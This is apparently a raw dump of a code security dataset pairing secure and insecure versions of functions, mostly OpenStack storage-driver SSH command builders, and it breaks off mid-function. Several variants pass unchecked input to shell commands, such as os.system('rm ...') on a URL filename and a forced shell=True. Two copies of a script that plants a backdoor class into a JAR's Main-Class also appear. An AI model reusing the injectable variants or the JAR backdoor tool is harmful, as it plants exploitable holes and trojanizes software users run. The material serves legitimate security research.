jiahuimbzuai/CoQuIR huggingface dataset:
// license_read_new_or_upgrade_license_packet [c]
BOOL license_read_new_or_upgrade_license_packet(rdpLicense* license, wStream* s)
{
	UINT32 os_major;
	UINT32 os_minor;
	UINT32 cbScope, cbCompanyName, cbProductId, cbLicenseInfo;
	wStream* licenseStream = NULL;
	BOOL ret = FALSE;
	BYTE computedMac[16];
	LICENSE_BLOB* calBlob;

	DEBUG_LICENSE("Receiving Server New/Upgrade License Packet");

	calBlob = license_new_binary_blob(BB_DATA_BLOB);
	if (!calBlob)
		return FALSE;

	/* EncryptedLicenseInfo */
	if (!license_read_encrypted_blob(license, s, calBlob))
		goto out_free_blob;

	/* compute MAC and check it */
	if (Stream_GetRemainingLength(s) < 16)
		goto out_free_blob;

	if (!security_mac_data(license->MacSaltKey, calBlob->data, calBlob->length, computedMac))
		goto out_free_blob;

	if (memcmp(computedMac, Stream_Pointer(s), sizeof(computedMac)) != 0)
	{
		WLog_ERR(TAG, "new or upgrade license MAC mismatch");
		goto out_free_blob;
	}

	if (!Stream_SafeSeek(s, 16))
		goto out_free_blob;

	licenseStream = Stream_New(calBlob->data, calBlob->length);
	if (!licenseStream)
		goto out_free_blob;

	Stream_Read_UINT16(licenseStream, os_minor);
	Stream_Read_UINT16(licenseStream, os_major);

	/* Scope */
	Stream_Read_UINT32(licenseStream, cbScope);
	if (Stream_GetRemainingLength(licenseStream) < cbScope)
		goto out_free_stream;
#ifdef WITH_DEBUG_LICENSE
	WLog_DBG(TAG, "Scope:");
	winpr_HexDump(TAG, WLOG_DEBUG, Stream_Pointer(licenseStream), cbScope);
#endif
	Stream_Seek(licenseStream, cbScope);

	/* CompanyName */
	Stream_Read_UINT32(licenseStream, cbCompanyName);
	if (Stream_GetRemainingLength(licenseStream) < cbCompanyName)
		goto out_free_stream;
#ifdef WITH_DEBUG_LICENSE
	WLog_DBG(TAG, "Company name:");
	winpr_HexDump(TAG, WLOG_DEBUG, Stream_Pointer(licenseStream), cbCompanyName);
#endif
	Stream_Seek(licenseStream, cbCompanyName);

	/* productId */
	Stream_Read_UINT32(licenseStream, cbProductId);
	if (Stream_GetRemainingLength(licenseStream) < cbProductId)
		goto out_free_stream;
#ifdef WITH_DEBUG_LICENSE
	WLog_DBG(TAG, "Product id:");
	winpr_HexDump(TAG, WLOG_DEBUG, Stream_Pointer(licenseStream), cbProductId);
#endif
	Stream_Seek(licenseStream, cbProductId);

	/* licenseInfo */
	Stream_Read_UINT32(licenseStream, cbLicenseInfo);
	if (Stream_GetRemainingLength(licenseStream) < cbLicenseInfo)
		goto out_free_stream;

	license->state = LICENSE_STATE_COMPLETED;

	ret = TRUE;
	if (!license->rdp->settings->OldLicenseBehaviour)
		ret = saveCal(license->rdp->settings, Stream_Pointer(licenseStream), cbLicenseInfo,
		              license->rdp->settings->ClientHostname);

out_free_stream:
	Stream_Free(licenseStream, FALSE);
out_free_blob:
	license_free_binary_blob(calBlob);
	return ret;
}
// start [python]
def start():
    print("[*] Starting backdoor process")
    print("[*] Decompressing target to tmp directory...")
    #subprocess.call("jar -x %s" % target, shell=True)
    with zipfile.ZipFile(target, 'r') as zip:
        zip.extractall("tmp")
    print("[*] Target dumped to tmp directory")

    print("[*] Modifying manifest file...")
    oldmain=""
    man = open("tmp/META-INF/MANIFEST.MF","r").read()
    with open("tmp/META-INF/MANIFEST.MF","w") as f:
        for l in man.split("\n"):
            if "Main-Class" in l:
                oldmain=l[12:]
                f.write("Main-Class: %s\n" % "Backdoor")
            else:
                f.write("%s\n" % l)
    print("[*] Manifest file modified")
    
    print("[*] Modifying provided backdoor...")
    inmain=False
    level=0
    bd=open(backdoor, "r").read()
    with open("tmp/%s" % backdoor,'w') as f:
        for l in bd.split("\n"):
            if "main(" in l:
                inmain=True
                f.write(l)
            elif "}" in l and level<2 and inmain:
                f.write("%s.main(args);}" % oldmain)
                inmain=False
            elif "}" in l and level>1 and inmain:
                level-=1
                f.write(l)
            elif "{" in l and inmain:
                level+=1
                f.write(l)
            else:
                f.write(l)
    print("[*] Provided backdoor successfully modified")

    print("[*] Compiling modified backdoor...")
    #if subprocess.call("javac -cp tmp/ tmp/%s" % backdoor, shell=True) != 0:
    if subprocess.call(['javac','-cp','tmp/','tmp/%s'%backdoor],shell=False) != 0:
        print("[!] Error compiling %s" % backdoor)
    print("[*] Compiled modified backdoor")
                
    if(len(oldmain)<1):
        print("[!] Main-Class manifest attribute not found")
    else:
        print("[*] Repackaging target jar file...")
        createZip("tmp",outfile)
        print("[*] Target jar successfully repackaged")
    shutil.rmtree('tmp/')
// start [python]
def start():
    print("[*] Starting backdoor process")
    print("[*] Decompressing target to tmp directory...")
    #subprocess.call("jar -x %s" % target, shell=True)
    with zipfile.ZipFile(target, 'r') as zip:
        zip.extractall("tmp")
    print("[*] Target dumped to tmp directory")

    print("[*] Modifying manifest file...")
    oldmain=""
    man = open("tmp/META-INF/MANIFEST.MF","r").read()
    with open("tmp/META-INF/MANIFEST.MF","w") as f:
        for l in man.split("\n"):
            if "Main-Class" in l:
                oldmain=l[12:]
                f.write("Main-Class: %s\n" % "Backdoor")
            else:
                f.write("%s\n" % l)
    print("[*] Manifest file modified")
    
    print("[*] Modifying provided backdoor...")
    inmain=False
    level=0
    bd=open(backdoor, "r").read()
    with open("tmp/%s" % backdoor,'w') as f:
        for l in bd.split("\n"):
            if "main(" in l:
                inmain=True
                f.write(l)
            elif "}" in l and level<2 and inmain:
                f.write("%s.main(args);}" % oldmain)
                inmain=False
            elif "}" in l and level>1 and inmain:
                level-=1
                f.write(l)
            elif "{" in l and inmain:
                level+=1
                f.write(l)
            else:
                f.write(l)
    print("[*] Provided backdoor successfully modified")

    print("[*] Compiling modified backdoor...")
    if subprocess.call("javac -cp tmp/ tmp/%s" % backdoor, shell=True) != 0:
        print("[!] Error compiling %s" % backdoor)
    print("[*] Compiled modified backdoor")
                
    if(len(oldmain)<1):
        print("[!] Main-Class manifest attribute not found")
    else:
        print("[*] Repackaging target jar file...")
        createZip("tmp",outfile)
        print("[*] Target jar successfully repackaged")
    shutil.rmtree('tmp/')
// _map_vol_to_host [python]
    def _map_vol_to_host(self, volume_name, host_name):
        """Create a mapping between a volume to a host."""

        LOG.debug(_('enter: _map_vol_to_host: volume %(volume_name)s to '
                    'host %(host_name)s')
                  % {'volume_name': volume_name, 'host_name': host_name})

        # Check if this volume is already mapped to this host
        mapping_data = self._get_hostvdisk_mappings(host_name)

        mapped_flag = False
        result_lun = '-1'
        if volume_name in mapping_data:
            mapped_flag = True
            result_lun = mapping_data[volume_name]['SCSI_id']
        else:
            lun_used = [int(v['SCSI_id']) for v in mapping_data.values()]
            lun_used.sort()
            # Assume all luns are taken to this point, and then try to find
            # an unused one
            result_lun = str(len(lun_used))
            for index, n in enumerate(lun_used):
                if n > index:
                    result_lun = str(index)
                    break

        # Volume is not mapped to host, create a new LUN
        if not mapped_flag:
            ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,
                       '-scsi', result_lun, volume_name]
            out, err = self._run_ssh(ssh_cmd, check_exit_code=False)
            if err and err.startswith('CMMVC6071E'):
                if not self.configuration.storwize_svc_multihostmap_enabled:
                    LOG.error(_('storwize_svc_multihostmap_enabled is set '
                                'to False, Not allow multi host mapping'))
                    exception_msg = 'CMMVC6071E The VDisk-to-host mapping '\
                                    'was not created because the VDisk is '\
                                    'already mapped to a host.\n"'
                    raise exception.CinderException(data=exception_msg)

                for i in range(len(ssh_cmd)):
                    if ssh_cmd[i] == 'mkvdiskhostmap':
                        ssh_cmd.insert(i + 1, '-force')

                # try to map one volume to multiple hosts
                out, err = self._run_ssh(ssh_cmd)
                LOG.warn(_('volume %s mapping to multi host') % volume_name)
                self._assert_ssh_return('successfully created' in out,
                                        '_map_vol_to_host', ssh_cmd, out, err)
            else:
                self._assert_ssh_return('successfully created' in out,
                                        '_map_vol_to_host', ssh_cmd, out, err)
        LOG.debug(_('leave: _map_vol_to_host: LUN %(result_lun)s, volume '
                    '%(volume_name)s, host %(host_name)s') %
                  {'result_lun': result_lun,
                   'volume_name': volume_name,
                   'host_name': host_name})
        return result_lun
// _map_vol_to_host [python]
    def _map_vol_to_host(self, volume_name, host_name):
        """Create a mapping between a volume to a host."""

        LOG.debug(_('enter: _map_vol_to_host: volume %(volume_name)s to '
                    'host %(host_name)s')
                  % {'volume_name': volume_name, 'host_name': host_name})

        # Check if this volume is already mapped to this host
        mapping_data = self._get_hostvdisk_mappings(host_name)

        mapped_flag = False
        result_lun = '-1'
        if volume_name in mapping_data:
            mapped_flag = True
            result_lun = mapping_data[volume_name]['SCSI_id']
        else:
            lun_used = [int(v['SCSI_id']) for v in mapping_data.values()]
            lun_used.sort()
            # Assume all luns are taken to this point, and then try to find
            # an unused one
            result_lun = str(len(lun_used))
            for index, n in enumerate(lun_used):
                if n > index:
                    result_lun = str(index)
                    break

        # Volume is not mapped to host, create a new LUN
        if not mapped_flag:
            ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '
                       '%(result_lun)s %(volume_name)s' %
                       {'host_name': host_name,
                        'result_lun': result_lun,
                        'volume_name': volume_name})
            out, err = self._run_ssh(ssh_cmd, check_exit_code=False)
            if err and err.startswith('CMMVC6071E'):
                if not self.configuration.storwize_svc_multihostmap_enabled:
                    LOG.error(_('storwize_svc_multihostmap_enabled is set '
                                'to False, Not allow multi host mapping'))
                    exception_msg = 'CMMVC6071E The VDisk-to-host mapping '\
                                    'was not created because the VDisk is '\
                                    'already mapped to a host.\n"'
                    raise exception.CinderException(data=exception_msg)
                ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',
                                          'mkvdiskhostmap -force')
                # try to map one volume to multiple hosts
                out, err = self._run_ssh(ssh_cmd)
                LOG.warn(_('volume %s mapping to multi host') % volume_name)
                self._assert_ssh_return('successfully created' in out,
                                        '_map_vol_to_host', ssh_cmd, out, err)
            else:
                self._assert_ssh_return('successfully created' in out,
                                        '_map_vol_to_host', ssh_cmd, out, err)
        LOG.debug(_('leave: _map_vol_to_host: LUN %(result_lun)s, volume '
                    '%(volume_name)s, host %(host_name)s') %
                  {'result_lun': result_lun,
                   'volume_name': volume_name,
                   'host_name': host_name})
        return result_lun
// _delete_vdisk [python]
    def _delete_vdisk(self, name, force):
        """Deletes existing vdisks.

        It is very important to properly take care of mappings before deleting
        the disk:
        1. If no mappings, then it was a vdisk, and can be deleted
        2. If it is the source of a flashcopy mapping and copy_rate is 0, then
           it is a vdisk that has a snapshot.  If the force flag is set,
           delete the mapping and the vdisk, otherwise set the mapping to
           copy and wait (this will allow users to delete vdisks that have
           snapshots if/when the upper layers allow it).
        3. If it is the target of a mapping and copy_rate is 0, it is a
           snapshot, and we should properly stop the mapping and delete.
        4. If it is the source/target of a mapping and copy_rate is not 0, it
           is a clone or vdisk created from a snapshot.  We wait for the copy
           to complete (the mapping will be autodeleted) and then delete the
           vdisk.

        """

        LOG.debug(_('enter: _delete_vdisk: vdisk %s') % name)

        # Try to delete volume only if found on the storage
        vdisk_defined = self._is_vdisk_defined(name)
        if not vdisk_defined:
            LOG.info(_('warning: Tried to delete vdisk %s but it does not '
                       'exist.') % name)
            return

        self._ensure_vdisk_no_fc_mappings(name)

        ssh_cmd = ['svctask', 'rmvdisk', '-force', name]
        if not force:
            ssh_cmd.remove('-force')
        out, err = self._run_ssh(ssh_cmd)
        # No output should be returned from rmvdisk
        self._assert_ssh_return(len(out.strip()) == 0,
                                ('_delete_vdisk %(name)s')
                                % {'name': name},
                                ssh_cmd, out, err)
        LOG.debug(_('leave: _delete_vdisk: vdisk %s') % name)
// _delete_vdisk [python]
    def _delete_vdisk(self, name, force):
        """Deletes existing vdisks.

        It is very important to properly take care of mappings before deleting
        the disk:
        1. If no mappings, then it was a vdisk, and can be deleted
        2. If it is the source of a flashcopy mapping and copy_rate is 0, then
           it is a vdisk that has a snapshot.  If the force flag is set,
           delete the mapping and the vdisk, otherwise set the mapping to
           copy and wait (this will allow users to delete vdisks that have
           snapshots if/when the upper layers allow it).
        3. If it is the target of a mapping and copy_rate is 0, it is a
           snapshot, and we should properly stop the mapping and delete.
        4. If it is the source/target of a mapping and copy_rate is not 0, it
           is a clone or vdisk created from a snapshot.  We wait for the copy
           to complete (the mapping will be autodeleted) and then delete the
           vdisk.

        """

        LOG.debug(_('enter: _delete_vdisk: vdisk %s') % name)

        # Try to delete volume only if found on the storage
        vdisk_defined = self._is_vdisk_defined(name)
        if not vdisk_defined:
            LOG.info(_('warning: Tried to delete vdisk %s but it does not '
                       'exist.') % name)
            return

        self._ensure_vdisk_no_fc_mappings(name)

        forceflag = '-force' if force else ''
        cmd_params = {'frc': forceflag, 'name': name}
        ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params
        out, err = self._run_ssh(ssh_cmd)
        # No output should be returned from rmvdisk
        self._assert_ssh_return(len(out.strip()) == 0,
                                ('_delete_vdisk %(name)s')
                                % {'name': name},
                                ssh_cmd, out, err)
        LOG.debug(_('leave: _delete_vdisk: vdisk %s') % name)
// _cliq_run [python]
    def _cliq_run(self, verb, cliq_args, check_exit_code=True):
        """Runs a CLIQ command over SSH, without doing any result parsing"""
        cmd_list = [verb]
        for k, v in cliq_args.items():
            cmd_list.append("%s=%s" % (k, v))

        return self._run_ssh(cmd_list, check_exit_code)
// _cliq_run [python]
    def _cliq_run(self, verb, cliq_args, check_exit_code=True):
        """Runs a CLIQ command over SSH, without doing any result parsing"""
        cliq_arg_strings = []
        for k, v in cliq_args.items():
            cliq_arg_strings.append(" %s=%s" % (k, v))
        cmd = verb + ''.join(cliq_arg_strings)

        return self._run_ssh(cmd, check_exit_code)
// _set_qos_rule [python]
    def _set_qos_rule(self, qos, vvs_name):
        max_io = self._get_qos_value(qos, 'maxIOPS')
        max_bw = self._get_qos_value(qos, 'maxBWS')
        cli_qos_string = ""
        if max_io is not None:
            cli_qos_string += ('-io %s ' % max_io)
        if max_bw is not None:
            cli_qos_string += ('-bw %sM ' % max_bw)
        self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])
// _set_qos_rule [python]
    def _set_qos_rule(self, qos, vvs_name):
        max_io = self._get_qos_value(qos, 'maxIOPS')
        max_bw = self._get_qos_value(qos, 'maxBWS')
        cli_qos_string = ""
        if max_io is not None:
            cli_qos_string += ('-io %s ' % max_io)
        if max_bw is not None:
            cli_qos_string += ('-bw %sM ' % max_bw)
        self._cli_run('setqos %svvset:%s' %
                      (cli_qos_string, vvs_name), None)
// get_lines [python]
def get_lines(command: List[str]) -> List[str]:
    """
    Run a command and return lines of output

    :param str command: the command to run
    :returns: list of whitespace-stripped lines output by command
    """
    stdout = get_output(command)
    return [line.strip() for line in stdout.splitlines()]
// get_lines [python]
def get_lines(command: str) -> List[str]:
    """
    Run a command and return lines of output

    :param str command: the command to run
    :returns: list of whitespace-stripped lines output by command
    """
    stdout = get_output(command)
    return [line.strip().decode() for line in stdout.splitlines()]
// _modify_3par_iscsi_host [python]
    def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):
        # when using -add, you can not send the persona or domain options
        command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]
        self.common._cli_run(command)
// _modify_3par_iscsi_host [python]
    def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):
        # when using -add, you can not send the persona or domain options
        self.common._cli_run('createhost -iscsi -add %s %s'
                             % (hostname, iscsi_iqn), None)
// run_interactive_shell_command [python]
@contextmanager
def run_interactive_shell_command(command, **kwargs):
    """
    Runs a single command in shell and provides stdout, stderr and stdin
    streams.

    This function creates a context manager that sets up the process (using
    `subprocess.Popen()`), returns to caller, closes streams and waits for
    process to exit on leaving.

    Shell execution is disabled by default (so no shell expansion takes place).
    If you want to turn shell execution on, you can pass `shell=True` like you
    would do for `subprocess.Popen()`.

    The process is opened in `universal_newlines` mode by default.

    :param command: The command to run on shell. This parameter can either
                    be a sequence of arguments that are directly passed to
                    the process or a string. A string gets splitted beforehand
                    using `shlex.split()`.
    :param kwargs:  Additional keyword arguments to pass to `subprocess.Popen`
                    that is used to spawn the process (except `stdout`,
                    `stderr`, `stdin` and `universal_newlines`, a `TypeError`
                    is raised then).
    :return:        A context manager yielding the process started from the
                    command.
    """
    if isinstance(command, str):
        command = shlex.split(command)

    process = Popen(command,
                    stdout=PIPE,
                    stderr=PIPE,
                    stdin=PIPE,
                    universal_newlines=True,
                    **kwargs)
    try:
        yield process
    finally:
        process.stdout.close()
        process.stderr.close()
        process.stdin.close()
        process.wait()
// run_interactive_shell_command [python]
@contextmanager
def run_interactive_shell_command(command, **kwargs):
    """
    Runs a command in shell and provides stdout, stderr and stdin streams.

    This function creates a context manager that sets up the process, returns
    to caller, closes streams and waits for process to exit on leaving.

    The process is opened in `universal_newlines` mode.

    :param command: The command to run on shell.
    :param kwargs:  Additional keyword arguments to pass to `subprocess.Popen`
                    that is used to spawn the process (except `shell`,
                    `stdout`, `stderr`, `stdin` and `universal_newlines`, a
                    `TypeError` is raised then).
    :return:        A context manager yielding the process started from the
                    command.
    """
    process = Popen(command,
                    shell=True,
                    stdout=PIPE,
                    stderr=PIPE,
                    stdin=PIPE,
                    universal_newlines=True,
                    **kwargs)
    try:
        yield process
    finally:
        process.stdout.close()
        process.stderr.close()
        process.stdin.close()
        process.wait()
// delete_video [python]
@app.route('/delete_video/<filename>')
def delete_video(filename):
	if 'username' in session:
		#os.remove("static/videos/{}".format(filename))
		print(session['username'], file=sys.stdout)
		data=users.query.filter_by(Username=session['username']).first()
		video=Video.query.filter_by(UserID=data.UserID,Name=filename).first()
		if video != None:
			#os.remove("static/videos/{}".format(filename))
			os.system("rm static/videos/{}".format(filename))
			db.session.delete(video)
			db.session.commit()
		else:
			return "Don't delete other people's videos!"
		return redirect(url_for('upload'))
	return "test"
// delete_video [python]
@app.route('/delete_video/<filename>')
def delete_video(filename):
	if 'username' in session:
		#os.remove("static/videos/{}".format(filename))
		print(session['username'], file=sys.stdout)
		data=users.query.filter_by(Username=session['username']).first()
		video=Video.query.filter_by(UserID=data.UserID,Name=filename).first()
		if video != None:
			os.remove("static/videos/{}".format(filename))
			db.session.delete(video)
			db.session.commit()
		else:
			return "Don't delete other people's videos!"
		return redirect(url_for('upload'))
	return "test"
// whitelist [python]
def whitelist(channel: discord.TextChannel, users: str):
    for user in users.split():
        if not re.match(r'^[A-Za-z0-9_]{3,16}$', user):  # as per https://help.mojang.com/customer/en/portal/articles/928638-minecraft-usernames?b_id=5408
            await channel.send('\'{}\' is not a valid Minecraft username'.format(user))
        else:
            call(WHITELIST_COMMAND_TEMPLATE.format(user))
// whitelist [python]
def whitelist(users: str):
    for user in users.split():
        call(WHITELIST_COMMAND_TEMPLATE.format(user))
// test_create_host [python]
    def test_create_host(self):
        self.flags(lock_path=self.tempdir)

        #record
        self.clear_mox()
        self.stubs.Set(hpfcdriver.hpcommon.HP3PARCommon, "get_cpg",
                       self.fake_get_cpg)
        self.stubs.Set(hpfcdriver.hpcommon.HP3PARCommon, "get_domain",
                       self.fake_get_domain)
        _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)
        self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, "_run_ssh", _run_ssh)

        show_host_cmd = ['showhost', '-verbose', 'fakehost']
        _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])

        create_host_cmd = (['createhost', '-persona', '1', '-domain',
                            ('OpenStack',), 'fakehost', '123456789012345',
                            '123456789054321'])
        _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])

        _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])
        self.mox.ReplayAll()

        host = self.driver._create_host(self.volume, self.connector)
        self.assertEqual(host['name'], self.FAKE_HOST)
// test_create_host [python]
    def test_create_host(self):
        self.flags(lock_path=self.tempdir)

        #record
        self.clear_mox()
        self.stubs.Set(hpfcdriver.hpcommon.HP3PARCommon, "get_cpg",
                       self.fake_get_cpg)
        self.stubs.Set(hpfcdriver.hpcommon.HP3PARCommon, "get_domain",
                       self.fake_get_domain)
        _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)
        self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, "_run_ssh", _run_ssh)

        show_host_cmd = 'showhost -verbose fakehost'
        _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])

        create_host_cmd = ('createhost -persona 1 -domain (\'OpenStack\',) '
                           'fakehost 123456789012345 123456789054321')
        _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])

        _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])
        self.mox.ReplayAll()

        host = self.driver._create_host(self.volume, self.connector)
        self.assertEqual(host['name'], self.FAKE_HOST)
// _execute_command_and_parse_attributes [python]
    def _execute_command_and_parse_attributes(self, ssh_cmd):
        """Execute command on the Storwize/SVC and parse attributes.

        Exception is raised if the information from the system
        can not be obtained.

        """

        LOG.debug(_('enter: _execute_command_and_parse_attributes: '
                    ' command %s') % str(ssh_cmd))

        try:
            out, err = self._run_ssh(ssh_cmd)
        except exception.ProcessExecutionError as e:
            # Didn't get details from the storage, return None
            LOG.error(_('CLI Exception output:\n command: %(cmd)s\n '
                        'stdout: %(out)s\n stderr: %(err)s') %
                      {'cmd': ssh_cmd,
                       'out': e.stdout,
                       'err': e.stderr})
            return None

        self._assert_ssh_return(len(out),
                                '_execute_command_and_parse_attributes',
                                ssh_cmd, out, err)
        attributes = {}
        for attrib_line in out.split('\n'):
            # If '!' not found, return the string and two empty strings
            attrib_name, foo, attrib_value = attrib_line.partition('!')
            if attrib_name is not None and len(attrib_name.strip()):
                attributes[attrib_name] = attrib_value

        LOG.debug(_('leave: _execute_command_and_parse_attributes:\n'
                    'command: %(cmd)s\n'
                    'attributes: %(attr)s')
                  % {'cmd': str(ssh_cmd),
                     'attr': str(attributes)})

        return attributes
// _execute_command_and_parse_attributes [python]
    def _execute_command_and_parse_attributes(self, ssh_cmd):
        """Execute command on the Storwize/SVC and parse attributes.

        Exception is raised if the information from the system
        can not be obtained.

        """

        LOG.debug(_('enter: _execute_command_and_parse_attributes: '
                    ' command %s') % ssh_cmd)

        try:
            out, err = self._run_ssh(ssh_cmd)
        except exception.ProcessExecutionError as e:
            # Didn't get details from the storage, return None
            LOG.error(_('CLI Exception output:\n command: %(cmd)s\n '
                        'stdout: %(out)s\n stderr: %(err)s') %
                      {'cmd': ssh_cmd,
                       'out': e.stdout,
                       'err': e.stderr})
            return None

        self._assert_ssh_return(len(out),
                                '_execute_command_and_parse_attributes',
                                ssh_cmd, out, err)
        attributes = {}
        for attrib_line in out.split('\n'):
            # If '!' not found, return the string and two empty strings
            attrib_name, foo, attrib_value = attrib_line.partition('!')
            if attrib_name is not None and len(attrib_name.strip()):
                attributes[attrib_name] = attrib_value

        LOG.debug(_('leave: _execute_command_and_parse_attributes:\n'
                    'command: %(cmd)s\n'
                    'attributes: %(attr)s')
                  % {'cmd': ssh_cmd,
                     'attr': str(attributes)})

        return attributes
// test_get_iscsi_ip_active [python]
    def test_get_iscsi_ip_active(self):
        self.flags(lock_path=self.tempdir)

        #record set up
        self.clear_mox()
        _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)
        self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, "_run_ssh", _run_ssh)

        show_port_cmd = ['showport']
        _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])

        show_port_i_cmd = ['showport', '-iscsi']
        _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),
                                                    ''])

        show_port_i_cmd = ['showport', '-iscsiname']
        _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])

        self.mox.ReplayAll()

        config = self.setup_configuration()
        config.hp3par_iscsi_ips = ['10.10.220.253', '10.10.220.252']
        self.setup_driver(config, set_up_fakes=False)

        #record
        self.clear_mox()
        _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)
        self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, "_run_ssh", _run_ssh)

        show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']
        _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN), ''])

        self.mox.ReplayAll()

        ip = self.driver._get_iscsi_ip('fakehost')
        self.assertEqual(ip, '10.10.220.253')
// test_get_iscsi_ip_active [python]
    def test_get_iscsi_ip_active(self):
        self.flags(lock_path=self.tempdir)

        #record set up
        self.clear_mox()
        _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)
        self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, "_run_ssh", _run_ssh)

        show_port_cmd = 'showport'
        _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])

        show_port_i_cmd = 'showport -iscsi'
        _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),
                                                    ''])

        show_port_i_cmd = 'showport -iscsiname'
        _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])

        self.mox.ReplayAll()

        config = self.setup_configuration()
        config.hp3par_iscsi_ips = ['10.10.220.253', '10.10.220.252']
        self.setup_driver(config, set_up_fakes=False)

        #record
        self.clear_mox()
        _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)
        self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, "_run_ssh", _run_ssh)

        show_vlun_cmd = 'showvlun -a -host fakehost'
        _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN), ''])

        self.mox.ReplayAll()

        ip = self.driver._get_iscsi_ip('fakehost')
        self.assertEqual(ip, '10.10.220.253')
// _find_host_from_wwpn [python]
    def _find_host_from_wwpn(self, connector):
        for wwpn in connector['wwpns']:
            ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']
            out, err = self._run_ssh(ssh_cmd)

            if not len(out.strip()):
                # This WWPN is not in use
                continue

            host_lines = out.strip().split('\n')
            header = host_lines.pop(0).split('!')
            self._assert_ssh_return('remote_wwpn' in header and
                                    'name' in header,
                                    '_find_host_from_wwpn',
                                    ssh_cmd, out, err)
            rmt_wwpn_idx = header.index('remote_wwpn')
            name_idx = header.index('name')

            wwpns = map(lambda x: x.split('!')[rmt_wwpn_idx], host_lines)

            if wwpn in wwpns:
                # All the wwpns will be the mapping for the same
                # host from this WWPN-based query. Just pick
                # the name from first line.
                hostname = host_lines[0].split('!')[name_idx]
                return hostname

        # Didn't find a host
        return None
// _find_host_from_wwpn [python]
    def _find_host_from_wwpn(self, connector):
        for wwpn in connector['wwpns']:
            ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn
            out, err = self._run_ssh(ssh_cmd)

            if not len(out.strip()):
                # This WWPN is not in use
                continue

            host_lines = out.strip().split('\n')
            header = host_lines.pop(0).split('!')
            self._assert_ssh_return('remote_wwpn' in header and
                                    'name' in header,
                                    '_find_host_from_wwpn',
                                    ssh_cmd, out, err)
            rmt_wwpn_idx = header.index('remote_wwpn')
            name_idx = header.index('name')

            wwpns = map(lambda x: x.split('!')[rmt_wwpn_idx], host_lines)

            if wwpn in wwpns:
                # All the wwpns will be the mapping for the same
                # host from this WWPN-based query. Just pick
                # the name from first line.
                hostname = host_lines[0].split('!')[name_idx]
                return hostname

        # Didn't find a host
        return None
// extend_volume [python]
    def extend_volume(self, volume, new_size):
        LOG.debug(_('enter: extend_volume: volume %s') % volume['id'])
        ret = self._ensure_vdisk_no_fc_mappings(volume['name'],
                                                allow_snaps=False)
        if not ret:
            exception_message = (_('extend_volume: Extending a volume with '
                                   'snapshots is not supported.'))
            raise exception.VolumeBackendAPIException(data=exception_message)

        extend_amt = int(new_size) - volume['size']
        ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),
                    '-unit', 'gb', volume['name']])
        out, err = self._run_ssh(ssh_cmd)
        # No output should be returned from expandvdisksize
        self._assert_ssh_return(len(out.strip()) == 0, 'extend_volume',
                                ssh_cmd, out, err)
        LOG.debug(_('leave: extend_volume: volume %s') % volume['id'])
// extend_volume [python]
    def extend_volume(self, volume, new_size):
        LOG.debug(_('enter: extend_volume: volume %s') % volume['id'])
        ret = self._ensure_vdisk_no_fc_mappings(volume['name'],
                                                allow_snaps=False)
        if not ret:
            exception_message = (_('extend_volume: Extending a volume with '
                                   'snapshots is not supported.'))
            raise exception.VolumeBackendAPIException(data=exception_message)

        extend_amt = int(new_size) - volume['size']
        ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'
                   % {'amt': extend_amt, 'name': volume['name']})
        out, err = self._run_ssh(ssh_cmd)
        # No output should be returned from expandvdisksize
        self._assert_ssh_return(len(out.strip()) == 0, 'extend_volume',
                                ssh_cmd, out, err)
        LOG.debug(_('leave: extend_volume: volume %s') % volume['id'])
// _get_host_from_connector [python]
    def _get_host_from_connector(self, connector):
        """List the hosts defined in the storage.

        Return the host name with the given connection info, or None if there
        is no host fitting that information.

        """

        prefix = self._connector_to_hostname_prefix(connector)
        LOG.debug(_('enter: _get_host_from_connector: prefix %s') % prefix)

        # Get list of host in the storage
        ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']
        out, err = self._run_ssh(ssh_cmd)

        if not len(out.strip()):
            return None

        # If we have FC information, we have a faster lookup option
        hostname = None
        if 'wwpns' in connector:
            hostname = self._find_host_from_wwpn(connector)

        # If we don't have a hostname yet, try the long way
        if not hostname:
            host_lines = out.strip().split('\n')
            self._assert_ssh_return(len(host_lines),
                                    '_get_host_from_connector',
